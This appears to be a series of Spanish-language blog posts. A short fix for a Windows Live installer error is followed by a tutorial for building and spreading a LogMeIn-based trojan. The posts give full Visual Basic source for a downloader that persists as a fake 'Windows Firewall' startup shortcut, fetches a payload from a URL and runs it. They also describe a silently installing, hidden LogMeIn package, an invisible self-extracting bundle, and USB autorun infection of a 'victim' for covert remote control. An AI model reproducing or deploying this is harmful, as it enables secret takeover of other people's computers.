Este error, me hizo perder unas 4 horas de mi dia, y me hizo enojar bastante…. pero lo solucioné.
Después de intentar todos lo resultante de un EXTENSA búsqueda en google, (busque hasta en chino ja) como por ejemplo:
Activar Firewall, Defender
Eliminar Windows Live con herramientas de terceros
Eliminar entradas del registro manualmente
Eliminar Windows Live con la utilidad Windows Install Clean Up
etc etc etc etc
Encontré lo siguiente:
Debajo del código de error que te muestra el instalador de Windows Live, muestra el nombre del paquete que produjo el error. En mi caso, el paquete era d3dx10-i386. Si bien no es el mismo paquete el que nos puede causar el problema, la solución es la siguiente:
Ahora, el instalador del paquete, SI te va a decir exactamente cual es el error que tiene y porque no se puede instalar, entonces buscas el error y lo solucionas.
En mi caso, el error era en los archivos de DirectX, es decir, en algunas dll de system32 que tenian un icono con un candadito, lo que hice fue, copiarlas al escritorio, y luego volverlas a pegar en system32 y con eso se le salio el candadito y el paquete se instalo bien.
Entonces después se vuelve a ejecutar la instalación de windows live.
Esta extremadamente pequeña aplicacion, sirve para eliminar el acceso directo de logmein del menu de inicio de windows.
La apliacion es util para el troyano. FUNCIONA en windows XP, Vista, Seven
Este es el codigo:
[cc lang=”VB”]Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Sub Form_Load()
‘Primero vemos si existe el acceso directo
If Dir(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & “\LogMeIn.lnk”, vbNormal) = “” Then
MsgBox “No se encuentra el acceso directo”, vbCritical, “Error — Lordblacksuca”
End
End If
‘si existe, lo matamos
Call Kill(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & “\LogMeIn.lnk”)
End
End Sub
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”
End Function[/cc]
LogMeIn guarda el acceso directo en la carpeta comun a todos los usuarios.. es decir AllUsers
Bueno, aca esta la descarga del archivo ejecutable por Rapidshare
Saludos! recuerden, ante cualquier duda, comenten, y si no tienen dudas, bueno, comenten tambien!!.
Esta versión corrige algunos bugs de LogMeIn y ademas cambia buena parte del estilo grafico de la pagina.
Si tenias el LogMeIn instalado, ya te habrá pedido que lo actualices, pero si lo tenias patcheado, para que sea invisile, nunca te va a pedir que lo actualices.
Recomiendo actualizar a la nueva version, porque me parece que la version vieja va a dejar de funcionar….(eso es lo que creo.)
Bueno, con respecto al Troyano, corregi todos los problemas encontrados y problemas de compatibilidad de Windows.
En el paquete de descarga, no encontraran el downloader, porque éste funciona perfectamente como está explicado aqui.
En el paquete SI van a encontrar éstos archivos principales:
LMI_Backdoor_by_Lordblacksuca.msi –> este es el instalador de LogMeIn v4.0.0.966 modificado para que la instalación sea totalmente silenciosa.
logmein-patch.exe –> este es un paquete autoextraible donde se encuentran los archivos .dll v4.0.0.966 modificados para hacer que logmein sea totalmente invisible. (la ruta de extraccion de este paquete es la de instalacion de logmein por defecto).
ejecutar.bat –> Ahora solo hay un ejecutable con lineas comentadas. dentro de este archivo, ademas de editar el nombre de usuario y contraseña de tu cuenta con logmein deberas descomentar las lineas segun tu SO. Esta todo explicado ahi dentro.
ADEMAS
originales.rar –> Jejeje, aqui estan los .dll originales del logmein, por si se infectan ustedes mismos, reemplacen estos archivos, asi pueden parar el logmein y luego desinstalarlo desde el panel de control.
taskkill.exe –> Este archivo siempre tiene que estar en la misma carpeta que el ejecutar.bat solo es el taskkill original de un windows XP Professional, pero de esta forma nos aseguramos que los procesos para patchear se terminen correctamente.
Si tienes problemas con el ejecutar.bat es desir que no se te instale, o no se patchee automaticamente, seguramente es por alguna incopatibilidad de los comandos del Fucking Windows. Por favor, deja un comentario con tu problema.
Bueno, eso es todo por ahora, como siempre, espero comentarios y bugs con respecto al troyano.
Hay muchas formas de usarlo, yo se los doy listo… despues, de lo que haga cada uno con el, bueno, yo no me hago cargo. jejejeje
una ultima aclaracion, recuerda que si vas a infectar una PC, el archivo ejecutar.bat tiene TUS datos de conexion con logmein. DEBES ocultarlo, convertirlo a exe… borrarlo o lo que quieras, pero no lo olvides por ahi!!! Puedes usar el programa ExeScript 3.0 para hacer un .exe solido, y totalmente invisible.
Si estas leyendo ésto y no entiendes nada… te recomiendo que leas todo ESTO desde el principio…
Este downloader, fue creado con la intencion de utilizarlo con este post, pero cabe aclarar que sirve para cualquier otra aplicacion.
Qué es un Downloader?
Un downloader se utiliza para descargar en la maquina victima un programa pesado, es desir, que ocupa muchos MB entonces se hace imposible camuflarlo para mandarlo por messenger por ejemplo. En general, este “Programa Pesado” es un virus, o un troyano como en el caso nuestro.
Lo que hace es, basicamente, generar un server liviano, (20k) y cuando es ejecutado por la victima, se “instala” secretamente en la maquina y comienza a descargar el archivo, desde la URL que nosotros le hayamos indicado… cuando la descarga es finalizada, ejecuta el archivo descargado.
Eso es todo.
Comenzamos con el desarrollo de nuestro Downloader
El codigo está escrito en VB, solo hay que pegar el codigo en un Form, compilar y Listo! no necesita de ningun complemento.
Solo hay que editar 2 lineas, una es la URL de donde se descargara el archivo, y la otra es el Path de destino (donde se guardará) el mismo.
El downloader puede descargar y ejecutar cualquier extension de archivo, siempre y cuando esa extension esté asociada con algun programa en la PC victima. (comando Shell Execute)
Este downloader, al ser ejecutado, guarda un acceso directo al ejecutable del mismo, en la carpeta de inicio del sistema (menu inicio–>programas–>inicio), esto es por si la victima apaga la pc y el archivo no se ha terminado de descargar aun, entonces cuando la vuelva a prender, se comenzara a descargar nuevamente. Una vez terminada la descarga, el acceso directo se elimina.
Este es el codigo fuente del Downloader en VB:
[cc lang=”VB”]
‘declaraciones para ejecutar una vez descargado
Private Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
‘declaraciones para guardar el archivo ini
Private Declare Function GetPrivateProfileString Lib “kernel32” Alias “GetPrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib “kernel32” Alias “WritePrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function FileExists Lib “shlwapi.dll” Alias “PathFileExistsA” (ByVal pszPath As String) As Long
‘declaraciones para descargar
Private Declare Function URLDownloadToFile Lib “urlmon” _
Alias “URLDownloadToFileA” _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
‘declaraciones para guardar el acceso directon en el inicio del sistema
Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Const CSIDL_STARTUP = &H7
Private Const CSIDL_COMMON_STARTUP = &H18
Dim obj As Object
Dim acceso_directo As Object
Private Sub form_load()
Dim estado As String
Iniciarconwindows
estado = INI_Read(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”)
If Trim(estado) = “Listo!” Then
Quitariniciarconwindows
End
End If
Dim sSourceUrl As String
Dim sDestinationUrl As String
sSourceUrl = “http://www.mipagina.com.ar/lordblacksuca.exe” ‘ esta es la URL de donde se descarga el archivo
sDestinationUrl = “C:\lordblacksuca.msi” ‘este es el path donde se va a guardar el archivo
Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Descargando”)
DownloadFile sSourceUrl, sDestinationUrl
Call ShellExecute(Me.hwnd, vbNullString, sDestinationUrl, vbNullString, vbNullString, SW_SHOWNORMAL)
Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Listo!”)
End
End Sub
‘funcion para descargar
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function
‘funcion para que el programa inicie cuando se inicia windows
Private Function Iniciarconwindows()
Set obj = CreateObject(“wscript.Shell”)
Set acceso_directo = obj.CreateShortcut(GetSpecialfolder(CSIDL_STARTUP) & “\Windows Firewall.lnk”)
With acceso_directo
.TargetPath = App.Path & “\” & App.EXEName
.Save
End With
End Function
Function Quitariniciarconwindows()
If Dir(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”, vbNormal) = “” Then Exit Function
Call Kill(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”)
End Function
‘funcion para escribir y leer de un ini
Public Function INI_Read(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, Optional ByVal Default As String) As String
On Error GoTo ErrOut
Dim Size As Integer
Dim Value As String
‘Comprobamos que el archivo existe:
If Not CBool(FileExists(Filename)) Then Err.Raise 53
‘Se define el tamaño maximo de caracteres
‘que podra tener la variable Value:
Value = Space(256)
‘Se utiliza la función para obtener
‘el valor de la clave:
Size = GetPrivateProfileString(Key_Value, Key_Name, Default, Value, Len(Value), Filename)
‘Si el tamaño es mayor a 0 entonces
‘se ha encontrado el valor de la clave:
If Size > 0 Then
Value = VBA.Left$(Value, Size)
‘Devolvemos el valor de la clave:
If VBA.Right$(VBA.Trim$(Value), 1) = Chr(0) Then Value = VBA.Left$(VBA.Trim$(Value), Len(VBA.Trim$(Value)) – 1)
INI_Read = VBA.Trim$(Value)
Exit Function
End If
ErrOut:
INI_Read = Default
End Function
‘Metodo de escritura. Si el archivo al que se refiere el parametro Filename
‘no existe se crea automaticamente:
Public Sub INI_Write(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, ByVal Value As String)
On Error GoTo ErrOut
Dim Size As Integer
‘Escribimos el valor de la clave:
Size = WritePrivateProfileString(Key_Value, Key_Name, Value, Filename)
ErrOut:
End Sub
‘funcion para obtener el path al inicio del sistema
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”
End Function
[/cc]
Para que no se gasten en Copiar y Pegar, aca les dejo el Proyecto de Visual Basic para que descargen:
Como habrán visto, el troyano se compone de 3 archivos. El Instalador Modificado de LogMeIn, el Patch para hacerlo invisible y un archivo .bat, para coordinar todo. Ahora, tenemos que unirlos a todos en un solo .exe
Aclaro en este punto, que existen muchas formas de hacerlo, cualquiera es válida, solo hay que tener una precaución:
Este troyano fue ideado para ejecutarse mediante una Inyección USB por lo tanto habia cosas que no importaban, pero que ahora si, por ejemplo, el archivo ejecutar.bat contiene nuestros datos de acceso a la cuenta de LogMeIn, por lo tanto, si el downloader descarga el archivo, la victima tendria “al alcance de sus manos” nuestros datos, entonces resultariamos nosotros los “hackeados”.
Eso se puede solucionar, convirtiendo el archivo .bat a .exe mediante el programa Bat to Exe Converter de esta forma:
Teniendo ese tema solucionado, solo resta unir todos los archivos necesarios para la ejecución.
Para ello, utilizamos el WinRar, y hacemos un archivo SelfExtract invisible, y que al finalizar ejecute el archivo, ejecutar.exe de esta forma:
1º Seleccionar los archivos: ejecutar.exe, el Instalador Modificado de Logmein y el Patch para hacerlo invisible, hacer click derecho sobre uno de ellos y poner Añadir al Archivo… o Add to file… si esta en inglés. (DEBES tener el WinRar instalado)
2º Seleccionamos Crear un Archivo SFX y Crear un Archivo sólido
3º En la pestaña Avanzado, hacemos click en Opciones SFX… ahí debemos indicar, que los archivos se extraigan en la misma carpeta y escribimos el nombre del archivo que tiene que ejecutar al finalizar la extracción:
4º En la pestaña Modos, configurar de la siguiente forma:
5º Si lo deseas en la pestaña Texto e Icono, puedes seleccionar un icono para el exe final.
6º Apretar en Aceptar y Listo!
Eso fue todo.
Este archivo que hemos creado, es un único archivo .exe, que al ser ejecutado, descomprime los otros archivos en la misma carpeta, y luego ejecuta el archivo llamado ejecutar.exe que es el que inicia todo el proceso de instalacion.
OBIAMENTE, los pasos a seguir, son subir el ultimo archivo creado a un ftp, y apuntar esa URL al downloader, para que este lo descargue y ejecute.
En un próximo post, vemos como hacer para camuflar el server del downloader.
Bueno, LogMeIn, es un programa de escritorio virtual como VNC, solo que funciona a través del puerto 80.
es decir… no tiene barreras, ni antivirus que lo detecte.
te podes conectar a cualquier ordenador, no importa detrás de cuantos routers o switchs este, ni de si tiene IP privada o publica. Es lo mismo. Solo hace falta acceso a Internet.
Vamos a aprender a “hackear” (palabra mal usada) con Logmein. (en realidad es para aprender sobre el tema, para poder usar verdaderos troyanos el dia de mañana)
OK, la idea es la siguiente, vamos a tener varias formas de infectar el ordenador de la victima, pero esta vez, vamos a suponer que tenemos acceso fisico al ordenador, al menos por unos 30 segundos. (Ideal para probar en sus casas, o en cibers…. despues de desactivar el deep freeze jaja)
La infección la vamos a hacer con una inyeccion USB, si tenes xp. Si tenes Vista o Seven, bueno, vas a tener que hacer doble click en el archivo… (o usar el downloader que esta en los post relacionados)
Yo ya prepare todo para una inyeccion rapida con un archivo batch para XP. Todo lo que necesitas es un pendrive para llevar los archivos.
En el archivo rar, se encuentran los siguientes archivos:
ejecutar.bat –> éste es el archivo que tenes que ejecutar para que comienze la instalacion
LMI_Backdoor_by_lordblacksuca.msi –> éste es el instalador de Logmein modificado por mi.
autorun.inf –> Autorun, esto es para hacer la inyeccion usb
logmein-patch.exe –> este parche reempla 2 dll, del programa y lo hace totalmente invisible para la victima.
El procedimiento es el siguiente:
Antes que nada, tenes que tener una cuenta en Logmein. www.logmein.com es gratis para crear la cuenta.
Hay montones de tutoriales que explican como crear una cuenta ahí.
Despues:
1). Descargar el archivo y extraerlos en el root de un pendrive.
2). ahora, tienes que editar el archivo ejecutar.bat con tus datos. Lo tenes que abrir con el notepad (o cualquier editor de texto), y editar la linea que dice:
En donde dice “contraseña” es la contraseña del ordenador, las 2 tienen que ser iguales, eso lo pones a tu gusto.
donde dice tu-email@email.com y contraseñadelweb tenes que poner tus datos de conexión de Logmein.
3) Si tu victima tiene Windows XP, solo tenes que enchufar el pendrive y listo! se inicia una consola MS-DOS y ahí te va diciendo los pasos que va haciendo… demora aproximadamente 30 segundos. (dependiendo la maquina)
Si tu victima no tiene XP, simplemente ejecutas el archivo ejecutar.bat
Es solo eso!!!
Ahora para controlar la maquina de tu victima, entras en la web de logmein www.logmein.com pones tu email y contraseña seleccionas el ordenador, y le haces click en control remoto.
Cualquier duda pregunta, no tengo problemas en responder.
A esto lo he diseñado yo, lordblacksuca.
Saludos!
Revision del post: Lunes 4 de Octubre del 2010 (corrección de ortografía y algunos errores de sintaxis)